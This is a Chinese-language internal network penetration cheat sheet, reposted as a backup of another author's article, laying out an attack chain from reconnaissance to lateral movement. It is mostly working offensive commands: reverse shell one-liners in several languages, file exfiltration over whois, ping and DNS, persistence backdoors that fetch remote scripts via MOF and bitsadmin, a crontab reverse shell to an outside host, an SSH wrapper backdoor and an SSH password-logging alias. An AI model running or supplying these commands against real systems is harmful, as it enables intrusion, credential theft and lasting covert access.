【內網滲透】整體思路及利用方法總結

此文章為黑白之道所著,由於該作者因為中國的政策關係而刪除此文章,故在下於此先行做備份,先說這是作者有聲明同意的,而原本的文章連結已經被作者刪除了TAT
但本文章有做一些語句與用語上的調整,以及內容的微調,但是主要內容都沒有做更動

一般針對內網的滲透過程中,整體的思路以及方法應該如下:

  • 情資蒐集
    • 開源情報情資蒐集
    • 創建企業密碼字典
  • 進入內網
    • 基於企業弱帳號漏洞
    • 基於系統漏洞進入
    • 網站應用程式滲透
    • 隱匿攻擊
      • Command and Control
      • VPN
  • 內網跨邊界應用
    • 內網跨邊界轉發
    • 內網跨邊界代理穿透
    • shell 反彈 … 等
  • 內網情資蒐集
    • 本機情資蒐集
    • 擴散情資蒐集
  • 權限提升
    • Windows
    • Linux
  • 權限維持
    • 系統後門
    • Web 後門
  • 橫向移動
    • 埠滲透
    • 域滲透
  • 痕跡清除
    • Windows 日誌清除
    • 破壞 Windows 日誌記錄功能 … 等
      下面會一這樣的路線,依序來說明具體每一步該怎麼做。

0x00 情資蒐集

開源情報情資蒐集 (OSINT)

Github

  • Github_Nuggests

    自動爬取 Github 上文件敏感資訊洩漏

  • GSIL

    能夠實現近實時 (15 分鐘內) 的發現 Github 上洩漏的資訊

  • x-patrol

    小米團隊的

whois 查詢 / 註冊人反查詢 / 信箱反查詢 / 相關資產

Google Hacking

創建企業密碼字典

字典列表

  • passwordlist
  • 豬豬俠字典

    分享和收集各種字典,包括弱密碼,針對特定的廠商,重點構造廠商相關域名的字典

    1
    '%pwd%123','%user%123','%user%521','%user%2017','%pwd%321','%pwd%521','%user%321','%pwd%123!','%pwd%123!@#','%pwd%1234','%user%2016','%user%123$%^','%user%123!@#','%pwd%2016','%pwd%2017','%pwd%1!','%pwd%2@','%pwd%3#','%pwd%123#@!','%pwd%12345','%pwd%123$%^','%pwd%!@#456','%pwd%123qwe','%pwd%qwe123','%pwd%qwe','%pwd%123456','%user%123#@!','%user%!@#456','%user%1234','%user%12345','%user%123456','%user%123!']

密碼生成

  • GenpAss

    中國特色的弱密碼生成器

  • passmaker

    可以自定義規則的密碼字典生成器

  • pydictor

    強大的密碼生成器

信箱列表獲取

洩漏密碼查詢

對企業外部相關情資進行蒐集

子域名獲取

0x01 進入內網

基於企業弱帳號漏洞

  • VPN (通過信箱、密碼爆破、社交工程等途徑獲取 VPN)
  • 企業相關維運系統 (zabbix 等)

基於系統漏洞進入

  • Metasploit

    漏洞利用框架

  • 漏洞利用腳本

網站應用程式滲透

  • SQL Injection)
  • Cross-Site Scripting (XSS)
  • Cross-Site Request Forgery (CSRF)
  • Server-Side Request Forgery (SSRF / ssrf_proxy)
  • 功能 / 業務邏輯漏洞
  • 其他漏洞
  • CMS-內容管理系統漏洞
  • 企業自建代理

無線 Wi-Fi 接入

隱匿攻擊

Command and Control

Fronting

  • Domain Fronting
  • Tor Fronting

代理


0x02 內網跨邊界應用

內網跨邊界轉發

內網跨邊界代理穿透

EW

https://rootkiter.com/EarthWorm/

  • 正向 SOCKS v5 伺服器
    1
    ./ew -s ssocksd -l 1080
  • 反彈 SOCKS v5 服務器:
    1. 先在一台具有外網 IP 的主機 A 上運行下列命令
      1
      ./ew -s rcsocks -l 1080 -e 8888
    2. 在目標主機 B 上啟動 SOCKS v5 服務,並反彈到外網主機的 8888 埠
      1
      ./ew -s rssocks -d 1.1.1.1 -e 8888
  • 多級級聯
    1
    ./ew -s lcx_listen -l 1080 -e 8888
    1
    ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
    1
    ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
  • lcx_tran 的用法
    1
    ./ew -s ssocksd -l 9999
    1
    ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
  • lcx_listenlcx_slave 的用法
    1
    ./ew -s lcx_listen -l 1080 -e 8888
    1
    ./ew -s ssocksd -l 9999
    1
    ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
  • 「三級級聯」的本地 SOCKS 測試用例以供參考
    1
    ./ew -s rcsocks -l 1080 -e 8888
    1
    ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    1
    ./ew -s lcx_listen -l 9999 -e 7777
    1
    ./ew -s rssocks -d 127.0.0.1 -e 7777

Termite (跳板機)

https://rootkiter.com/Termite/
使用說明

代理腳本

shell 反彈

  • bash
    1
    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1perl
    1
    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'python
    1
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'php
    1
    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'ruby
    1
    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'java
    1
    r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()nc
    1
    2
    3
    4
    5
    #使用 -e
    nc -e /bin/sh 223.8.200.234 1234

    #不使用 -e
    mknod /tmp/backpipe p/bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipelua
    1
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

內網文件的傳輸和下載

  • wput
    1
    wput dir_name ftp://linuxpig:123456@host.com/
  • wget
    1
    wget http://site.com/1.rar -O 1.rar
  • ariac2 (需安裝)
    1
    aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2
  • powershell
    1
    $p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file","C:%homepath%file")
  • vbs 腳本
    1
    2
    3
    4
    5
    Set args = Wscript.Arguments
    Url = "http://domain/file"
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", Url, FalsexHttp.Sendwith bStrm.type = 1 '.open.write xHttp.responseBody.savetofile " C:\%homepath%\file", 2 'end with
    • 執行腳本
      1
      cscript test.vbs
  • Perl
    1
    2
    3
    #!/usr/bin/perl
    use LWP::Simple;
    getstore("http://domain/file", "file");
    • 執行腳本
      1
      perl test.pl
  • Python
    1
    2
    3
    4
    5
    6
    #!/usr/bin/python
    import urllib2
    u = urllib2.urlopen('http://domain/file')
    localFile = open('local_file', 'w')
    localFile.write(u.read())
    localFile.close()
    • 執行腳本
      1
      python test.py
  • Ruby
    1
    2
    3
    #!/usr/bin/ruby
    require 'net/http'
    Net::HTTP.start("www.domain.com") { |http|r = http.get("/file")open("save_location", "wb") { |file|file.write(r.body)}}
    • 執行腳本
      1
      ruby test.rb
  • PHP
    1
    2
    3
    4
    5
    6
    7
    $url  = 'http://www.example.com/file';
    $path = '/path/to/file';
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);curl_close($ch);
    file_put_contents($path, $data);
    ?>
    • 執行腳本
      1
      php test.php
  • NC
    • Attacker
      1
      cat file | nc -l 1234
    • Target
      1
      nc host_ip 1234 > file
  • FTP
    1
    2
    3
    ftp 127.0.0.1 username password
    get file
    exit
  • TFTP
    1
    tftp -i host GET C:%homepath%file location_of_file_on_tftp_server
  • Bitsadmin
    1
    bitsadmin /transfer n http://domain/file c:%homepath%file
  • Window 文件共享
    1
    net use x: \127.0.0.1\share /user:example.comuserID myPassword
  • SCP
    • 本地到遠端
      1
      scp file user@host.com:/tmp
    • 遠端到本地
      1
      scp user@host.com:/tmp file
  • rsync
    • 遠端 rsync 伺服器中複製文件到本機
      1
      rsync -av root@192.168.78.192::www /databack
    • 本機複製文件到遠端 rsync 伺服器
      1
      rsync -av /databack root@192.168.78.192::www
  • certutil.exe
    1
    certutil.exe -urlcache -split -f http://site.com/file
  • copy
    1
    copy \\IP\ShareName\file.exe file.exe
  • WHOIS
    • 接收端 Host B
      1
      nc -vlnp 1337 | sed "s/ //g" | base64 -d
    • 發送端 Host A
      1
      whois -h host_ip -p 1337 `cat /etc/passwd | base64
  • WHOIS + TARFirst
    1
    2
    ncat -k -l -p 4444 | tee files.b64
    #tee to a file so you can make sure you have it
    • Next
      1
      tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bits
    • Finally
      1
      cat files.b64 | tr -d '\r' | base64 -d | tar zxv #to get the files out
  • PING
    • 發送端
      1
      xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done
    • 接收端 (ping_receiver.py)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      import sys
      try:
      from scapy.all import *
      except:
      print("Scapy not found, please install scapy: pip install scapy")
      sys.exit(0)

      def process_packet(pkt):
      if pkt.haslayer(ICMP):
      if pkt[ICMP].type == 8:
      data = pkt[ICMP].load[-4:]
      print(f'{data.decode("utf-8")}', flush=True, end="", sep="")

      sniff(iface="eth0", prn=process_packet)
      1
      python3 ping_receiver.py
  • DIG
    • 發送端
      1
      xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done
    • 接收端 (dns_receiver.py)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      try:    
      from scapy.all import *
      except:
      print("Scapy not found, please install scapy: pip install scapy")

      def process_packet(pkt):
      if pkt.haslayer(DNS):
      domain = pkt[DNS][DNSQR].qname.decode('utf-8')
      root_domain = domain.split('.')[1]
      if root_domain.startswith('gooogle'):
      print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')
      sniff(iface="eth0", prn=process_packet)
      1
      python3 dns_receiver.py
      … etc.

搭建 HTTP Server

  • Python2
    1
    python -m SimpleHTTPServer 1337
  • Python3
    1
    python -m http.server 1337
  • PHP 5.4+
    1
    php -S 0.0.0.0:1337
  • Ruby
    1
    ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'ruby -run -e httpd . -p 1337
  • Perl
    1
    perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
    1
    buxybox httpd
    1
    busybox httpd -f -p 8000

0x03 內網情資蒐集

本機情資蒐集

  1. 用戶列表
    • Windows 用戶列表:分析信箱用戶,內網 (域) 信箱用戶,通常就是內網 (域) 用戶
  2. 進程列表
    • 分析防毒軟體 / 安全監控工具等,信箱客戶端、VPN、ftp 等
  3. 服務列表
    • 與安全防範工作有關服務 (判斷是否可以手動開關等)
    • 存在問題的服務 (權限 / 漏洞)
  4. 埠列表
    • 開放埠對應的常見服務
    • 應用程序 (匿名 / 權限 / 漏洞等) 利用埠進行情資蒐集
  5. 補丁列表
    • 分析 Windows 補丁
    • 第三方軟體 (Java / Oracle / Flash 等) 漏洞
  6. 本機共享
    • 本機共享列表 / 訪問權限
    • 本機訪問的域共享 / 訪問權限
  7. 本用戶習慣分析
    • 歷史紀錄、收藏夾、文件等
  8. 獲取當前用戶密碼工具

擴散情資蒐集

端考掃描

  • 常用的掃描工具
  • 內網拓樸架構分析
    • DMZ
    • 管理網
    • 生產網
    • 測試網
  • 常見情資蒐集指令
    • ipconfig
      1
      ipconfig /all	# 查詢本機 IP 段、所在域等
    • net
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      net user									# 本機用戶列表
      net localgroup administrators # 本機管理員 (通常含有域用戶)
      net user /domain # 查詢域用戶
      net group /domain # 查詢域裡面的工作組
      net group "domain admins" /domain # 查詢域管理員用戶組
      net localgroup administrators /domain # 登入本機的域管理員
      net localgroup administrators\user001 /add # 域用戶添加到本機
      net group "Domain controllers" # 查看域控制器 (如果有多台)
      net view # 查詢同一域內機器列表
      net view /domain # 查詢域列表
      net view /domain:[domain name]
    • dsquery
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      # 查出該域內所有機器名
      dsquery computer domainroot -limit 65535 && net group "domaincomputers" /domain

      # 列出該域內所有用戶名
      dsquery user domainroot -limit 65535 && net user /domain

      # 列出該域內網段劃分
      dsquery subnet

      # 列出該域內分組
      dsquery group && net group /domain

      # 列出該域內組織單位
      dsquery ou

      # 列出該域內域控制器
      dsquery server && net time /domain
  • 第三方情資蒐集
  • NETBIOS 情資蒐集
  • SMB 情資蒐集
  • 空會話 (empty session) 情資蒐集
  • 漏洞情資蒐集

0x04 權限提升

Windows

Bypass UAC

  • 常用方法
    • 使用 IFileOperation COM 接口
    • 使用 Wusa.exe 的 extract 選項
    • 遠端注入 Shellcode 到傀儡進程
    • DLL 劫持 (劫持系統的 DLL 文件)
    • eventvwr.exe & registry hijacking
    • sdclt.exe
    • SilentCleanup
    • wscript.exe
    • cmstp.exe
    • 修改環境變數,劫持高權限 .Net 程序
    • 修改註冊表 HKCU\Software\Classes\CLSID,劫持高權限程序
    • 直接提權過 UAC
  • 常用工具

提權

Linux

內核溢出提權

計畫任務

1
2
3
4
5
6
7
8
9
10
11
12
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

SUID

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
  • 系統服務的錯誤權限配置漏洞
    1
    2
    3
    cat /var/apache2/config.inc
    cat /var/lib/mysql/user.MYD
    cat /root/anaconda-ks.cfg

不安全的文件 / 目錄權限配置

1
2
3
4
5
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

找儲存的明文用戶名、密碼

1
2
3
4
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

0x05 權限維持

系統後門

Windows

  1. 密碼記錄工具
    • WinlogonHack
      • 一款用來截取遠端 3389 登陸密碼的工具,在 WinlogonHack 前有一個 Gina 木馬主要用來截取 Windows 2000 下的密碼,WinlogonHack 主要用於截取 Windows XP、Windows 2003 Server
    • 鍵盤記錄器
      • 安裝鍵盤紀錄的目的地不光是紀錄本機密碼,是紀錄管理員一切的密碼,比如說信箱、WEB 網頁密碼等等,這樣也可以得到管理員的很多情資
    • NTPass
      • 獲取管理員密碼,一般用 gina 方式來,但有些機器上安裝了 pcanywhere 等軟體,會導致遠端登入的時候出現故障,此軟體可以實現無障礙截取口令
    • Linux 下 openssh 後門
      • 重新編譯運行的 sshd 服務,用於紀錄用戶的登錄密碼
  2. 常用的儲存 Payload 位置
    • WMI
      • 儲存:
        1
        2
        3
        4
        5
        $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null, $null)
        $StaticClass.Name = 'Win32_Command'
        $StaticClass.Put()
        $StaticClass.Properties.Add('Command', $Payload)
        $StaticClass.Put()
      • 讀取:
        1
        $Payload = ([WmiClass] 'Win32_Command').Properties['Command'].Value
    • 包含數字簽名的 PE 文件,利用文件 hash 的演算法漏洞,在 PE 文件中隱藏 Payload,同時不影響該 PE 文件的數字簽名特殊 ADS …
      1
      2
      type putty.exe > ...:putty.exe
      wmic process call create c:\test\ads\...:putty.exe
    • 特殊 COM 文件
      1
      2
      type putty.exe > \\.\C:\test\ads\COM1:putty.exe
      wmic process call create \\.\C:\test\ads\COM1:putty.exe
    • 磁碟根目錄
      1
      2
      type putty.exe > C:\:putty.exe
      wmic process call create C:\:putty.exe
  3. Run/RunOnce Keys
    • 用戶級
      1
      2
      HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
      HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • 管理員
      1
      2
      3
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  4. BootExecute Key
    • 由於 smss.exe 在 Windows 子系統加載之前啟動,因此會調用配置子系統來加載當前的配置單元,具體註冊表鍵值為
      1
      2
      HKLM\SYSTEM\CurrentControlSet\Control\hivelist
      HKLM_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
  5. Userinit Key
    • WinLogon 進程加載的 login scripts,具體鍵值
      1
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersioon\Winlogon
  6. Startup Keys
    1
    2
    3
    4
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
  7. Services
    • 創建服務
      1
      sc create [ServerName] binPath = [BinaryPathName]
  8. Browser Helper Objects
    • 本質上是 Internet Explorer 啟動時加載的 DLL 模組
      1
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
  9. AppInit_DLLs
    • 加載 User32.dll 會加載的 DLL
      1
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
  10. 文件關聯
    1
    HKEY_LOCAL_MACHINE\Software\ClassesHKEY_CLASSES_ROOT
  11. bitsadmin
    1
    2
    3
    4
    bitsadmin /create backdoor
    bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
    bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll"
    bitsadmin /Resume backdoor
  12. mof
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    pragma namespace("\\\\.\\root\\subscription")
    instance of __EventFilter as $EventFilter{
    EventNamespace = "Root\\Cimv2";
    Name = "filtP1";
    Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa \"Win32_LocalTime\" ""And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer{
    name = "consP1";
    ScriptingEngine = "JScript";
    SccriptText = "GetObject(\"script:https://host.com/test\")";
    };
    instance of __FilterToConsumerBinding{
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
    • 管理員執行
      1
      mofcomp test.mof
  13. wmi
    • Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC
    • 每隔 60 秒執行一次 notepad.exe
      1
      2
      3
      wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'WIN32_PerfFormattedData_PerfOS_System'"
      wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32otepad.exe", CommandLineTemplate="C:\Windows\System32otepad.exe"
      wmic /NAMESPACE="\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
  14. Userland Persistence With Scheduled Tasks
    • Userland registry hijacking
    • 劫持計畫任務 UserTask,在系統啟動時加載 dll
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      function Invoke-ScheduledTaskComHandlerUserTask{
      [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]Param(
      [Parameter(Mandatory = $True)][ValidateNotNullOrEmpty()][String]$Command, [Switch]$Force)
      $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
      if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
      New-Item $ScheduledTaskCommandPath -Force | New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
      }else{
      Write-Verbose "Key already exists, consider using -Force"
      exit
      }
      if (Test-Path $ScheduledTaskCommandPath){
      Write-Verbose "Created registry entries to hijack the UserTask"
      }else{
      Write-Warning "Failed to create registry key, exiting"
      exit
      }
      }
      Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose
  15. Netsh
  16. Shim
  17. DLL 劫持
    • DLL劫持漏洞自动化识别工具Rattler测试
    • 通過 Rattler 自動枚舉進程,檢測是否存在可用 dll 劫持利用的進程
    • 使用:Procmon 半自動測試更精準,常規生成的 dll 會導致程序執行報錯或中斷,使用 AheadLib 配合生成 dll 劫持利用源碼不會影響程序執行
    • 工具:
  18. DoubleAgent
  19. waitfor.exe
  20. AppDomainManager
    • Use AppDomainManager to maintain persistence
    • 針對 .Net 程序,通過修改 AppDomainManager 能夠劫持 .Net 程序的啟動過程。如果劫持了系統常見 .Net 程序如 powershell.exe 的啟動進程,向其添加 payload,就能實現一種被動的後門觸發機制
  21. Office
  22. CLR
  23. msdtc
    • Use msdtc to maintain persistence
    • 利用 MSDTC 服務加載 dll,實現自啟動,並繞過 Autoruns 對啟動項的檢測
    • 利用:向 %windir%\system32\ 目錄添加 dll 並重命名為 oci.dll
  24. Hijack CAccPropServicesClass and MMDeviceEnumerator
  25. Hijack explorer.exe
    • Use COM Object hijacking to maintain persistence——Hijack explorer.exe
    • COM 組件劫持,不需要重啟系統,不需要管理員權限
    • 通過修改註冊表實現
      1
      2
      3
      4
      HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
      HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
      HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
      HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}
  26. Windows FAC DLL Injection
    • 加載 Explorer.exe 在啟動時會加載 c:\Windows\System32\fxsst.dll (服務預設開啟,用於傳真服務),將 payload.dll 保存在 c:\Windows\fxsst.dll,能夠實現 dll 劫持 (劫持 Explorer.exe 對 fxsst.dll 的加載)
  27. 特殊註冊表鍵值
  28. 快捷方式後門
    • 替換我的電腦快捷方式啟動參數
    • PoC:LNK_backdoor
  29. Logon Scripts
  30. Password Filter DLL
  31. 利用 BHO 實現 IE 瀏覽器劫持

Linux

  • crontab
    • 每 60 分鐘反彈一次 shell 給 dns.wuyun.org 的 53 埠
      1
      2
      #!bash
      (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c")|crontab -
    • 應鏈接 sshd
      1
      2
      #!bash
      ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
    • 鏈接:ssh root@192.168.206.142 -p 2333
  • SSH Server wrapper
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #!bash
    cd /usr/sbin
    mv sshd ../bin
    echo '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    chmod u+x sshd

    #不用重啟也行
    /etc/init.d/sshd restart

    socat STDIO TCP4:192.168.206.142:22,sourceport=13377
  • SSH keylogger
    • vim 當前用戶下的 .bashrc 文件,末尾添加
      1
      2
      #!bash
      alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'source .bashrc
  • Cymothoa_進程注入 backdoor
    1
    2
    ./cymothoa -p 2270 -s 1 -y 7777
    nc -vv ip 7777
  • rootkit

0x06 橫向移動

埠滲透

埠掃描

  1. 埠的指紋情資 (版本情資)
  2. 埠所對應進行的服務
  3. 常見的預設埠號
  4. 嘗試弱密碼

埠爆破

埠弱密碼

  • NTScan
  • Hscan
  • 自寫腳本

埠溢出

  • smb
    • ms08067
    • ms17010
    • ms11058
  • apacheftp

常見的默認埠

  1. web 類 (web 漏洞 / 敏感目錄)
    • 第三方通用組件漏洞:
      • struts
      • thinkphp
      • jboss
      • ganglia
      • zabbix
    • 80 - web
    • 80-89 - web
    • 8000-9090 - web
  2. 資料庫類 (掃描弱密碼)
    • 1433 - MSSQL
    • 1521 - Oracle
    • 3306 - MySQL
    • 5432 - PostgreSQL
    • 50000 - DB2
  3. 特殊服務類 (未授權 / 命令執行類 / 漏洞)
    • 443 - SSL HeartBleed
    • 445 - ms08067 / ms11058 / ms17010…
    • 873 - Rsync 未授權
    • 5984 - CouchDB (http://xxx:5984/_utils/)
    • 6379 - redis 未授權
    • 7001, 7002 - WebLogic 預設弱密碼、反序列
    • 9200, 9300 - elasticsearch (參考:多玩某服务器ElasticSearch命令执行漏洞)
    • 11211 - memcache 未授權訪問
    • 27017, 27018 - Mongodb 未授權訪問
    • 50000 - SAP 命令執行
    • 50070, 50030 - hadoop 預設埠未授權訪問
  4. 常用埠類 (掃描弱密碼 / 埠爆破)
    • 21 - FTP
    • 22 - SSH
    • 23 - Telnet
    • 445 - SMB 弱密碼掃描
    • 2601, 2604 - zebra 路由 (預設密碼:zebra)
    • 3389 - 遠端桌面
  5. 埠合計所對應的服務
    • 21 - FTP
    • 22 - SSH
    • 23 - Telnet
    • 25 - SMTP
    • 53 - DNS
    • 69 - TFTP
    • 80 - web
    • 80-89 - web
    • 110 - POP3
    • 135 - RPC
    • 139 - NETBIOS
    • 143 - IMAP
    • 161 - SNMP
    • 389 - LDAP
    • 443 - SSL Heartbleed & 一些 web 漏洞測試
    • 445 - SMB
    • 512-514 - Rexec
    • 873 - Rsync 未授權
    • 1025, 111 - NFS
    • 1080 - socks
    • 1158 - Oracle EMCTL
    • 1433 - MSSQL (暴力破解)
    • 1521 - Oracle (iSqlPlus Port: 5560, 7778)
    • 2082 / 2083 - cpanel 主機管理系統登入 (國外用得較多)
    • 2222 - DA 虛擬主機管理系統登入 (國外用得較多)
    • 2601, 2604 - zebra 路由 (預設密碼:zebra)
    • 3128 - squid 代理預設埠,如果沒設置密碼很可能就直接漫遊內網
    • 3306 - MySQL (暴力破解)
    • 3312 / 3311 - kangle 主機管理系統登入
    • 3389 - 遠端桌面
    • 3690 - svn
    • 4440 - rundeck (參考:借用新浪某服务成功漫游新浪内网)
    • 4848 - GlassFish,web 中間件,弱密碼:admin / adminadmin
    • 5432 - PostgreSQL
    • 5900 - vnc
    • 5984 - CouchDB (http://xxx:5984/_utils/)
    • 6082 - varnish (參考:Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网)
    • 6379 - redis 未授權
    • 7001, 7002 - WebLogic 預設弱密碼、反序列
    • 7778 - Kloxo 主機控制面板登入
    • 8000-9090 - 都是一些常見的 web 埠,有些維運喜歡把管理後台開在這些非 80 的埠上
    • 8080 - Tomcat/WDCd/ 主機管理系統,預設弱密碼
    • 8080, 8089, 9090 - JBOSS
    • 8081 - Symantec AV / Filter for MSE
    • 8083 - Vestacp 主機管理系統 (國外用得較多)
    • 8649 - ganglia
    • 8888 - amh / LuManager 主機管理系統預設埠
    • 9000 - fcgi, fcig, php 執行
    • 9043 - websphere (web 中間件),弱密碼:admin / admin、websphere / websphere、system / manager
    • 9200, 9300 - elasticsearch (參考:多玩某服务器ElasticSearch命令执行漏洞)
    • 10000 - Virtualmin / Webmin 伺服器虛擬主機管理系統
    • 11211 - memcache 未授權訪問
    • 27017, 27018 - Mongodb 未授權訪問
    • 28017 - Mongodb 統計頁面
    • 50000 - SAP 命令執行
    • 50060 - hadoop
    • 50070, 50030 - hadoop 預設埠未授權訪問

域滲透

情資蒐集

  • powerview.ps1
  • Get-NetDomain - gets the name of the current user’s domain
  • Get-NetForest - gets the forest associated with the current user’s domain
  • Get-NetForestDomains - gets all domains for the current forest
  • Get-NetDomainControllers - gets the domain controllers for the current computer’s domain
  • Get-NetCurrentUser - gets the current [domain]username
  • Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
  • Get-NetUserSPNs - gets all user ServicePrinciplNames
  • Get-NetOUs - gets data for domain organization units
  • Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
  • Invoke-NetUserAdd - adds a local or domain user
  • Get-NetGroups - gets a list of all current groups in the domain
  • Get-NetGroup - gets data for each user in a specified domain group
  • Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts
  • Get-NetLocalGroup - gets the members of a localgroup on a remote host or hoosts
